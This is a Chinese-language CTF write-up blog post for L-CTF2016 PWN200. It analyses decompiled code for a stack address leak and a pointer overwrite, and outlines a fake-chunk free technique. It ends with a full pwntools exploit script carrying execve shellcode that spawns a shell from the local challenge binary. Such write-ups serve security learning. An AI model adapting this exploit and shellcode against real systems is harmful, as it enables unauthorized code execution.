L-CTF2016 PWN200 writeup

原创

哒君 于 2019-08-02 18:37:14 发布 464 收藏 1

分类专栏： 学习日记 CTF

本文链接：https://blog.csdn.net/weixin_42151611/article/details/98220974

本以为已经可以做出题来了。。。没想到连利用点在哪都没看见

例行公事

```
dajun@ubuntu:~/binary/pwn/L-CTF2016 PWN200$ checksec ./pwn200
[*] '/home/dajun/binary/pwn/L-CTF2016 PWN200/pwn200'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
```

居然什么保护都没开，有趣

利用点分析

```
int sub_400A8E()
{
  signed __int64 i; // [rsp+10h] [rbp-40h]
  char v2[48]; // [rsp+20h] [rbp-30h]

  puts("who are u?");
  for ( i = 0LL; i <= 0x2F; ++i )
  {
    read(0, &v2[i], 1uLL);
    if ( v2[i] == 10 )
    {
      v2[i] = 0;
      break;
    }
  }
  printf("%s, welcome to xdctf~\n", v2);
  puts("give me your id ~~?");
  read_num();
  return sub_400A29();
}
```


- v2位于`rbp-0x30`的位置，而name会读入0x30个字符，且如果读入0x30个字符的话末尾不会有`\x00`，这样在printf的时候就会顺带leak出rbp的值
- id保存在rbp-0x38的位置

```
int sub_400A29()
{
  char buf; // [rsp+0h] [rbp-40h]
  char *dest; // [rsp+38h] [rbp-8h]

  dest = (char *)malloc(0x40uLL);
  puts("give me money~");
  read(0, &buf, 0x40uLL);
  strcpy(dest, &buf);
  ptr = dest;
  return sub_4009C4();
}
```


*buf在栈上的位置是`rbp-0x40`，dest在栈上的位置是`rbp-0x8`，但是buf却读了0x40个字节，很明显最后八字节会将dest的块的地址覆盖

- strcpy遇到`\x00`停止

利用方法

1. 先leak出rbp的地址
2. 用money构造fake chunk，然后再用id字段构造next chunk的size，此时money与id之间保存的内容包括了当前调用空间的rbp以及ret address
3. 将dest的地址覆盖成fake chunk的地址，然后用check out函数将其free
4. 再check in同样的size，然后往栈中构造shellcode，再将ret address覆盖成payload的地址
5. 或者也可以在第一次输入money的时候就输入payload，但是要注意控制好长度，不然会因为strcpy将已经覆盖好的dest再覆盖成shellcode

exp

```python
from pwn import *
context(arch='amd64',os='linux')
context.log_level = 'debug'
io = process('./pwn200')
shellcode=""
shellcode += "\x00\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
io.recvuntil('who are u?\n')
io.send('a'*0x30)
io.recvuntil('a'*0x30)
rbp_addr = u64(io.recv(6).ljust(8,'\x00'))
log.success('rbp : '+hex(rbp_addr))
io.recvuntil('give me your id ~~?\n')
io.sendline('33')
io.recvuntil('give me money~\n')
payload = shellcode +p64(0)*2 + p64(0x41)
payload = payload.ljust(0x38,'\x00')
payload += p64(rbp_addr - 0x90)
io.send(payload)
io.recvuntil('your choice : ')
io.sendline('2')
io.recvuntil('your choice : ')
io.sendline('1')
io.recvuntil('how long?\n')
#gdb.attach(io,'b *0x4008FD')
#raw_input()
io.sendline(str(0x30))
io.recv()
io.sendline(p64(0)*3+p64(rbp_addr - 0xc0 + 1))
io.recv()
io.sendline('3')
io.interactive()
```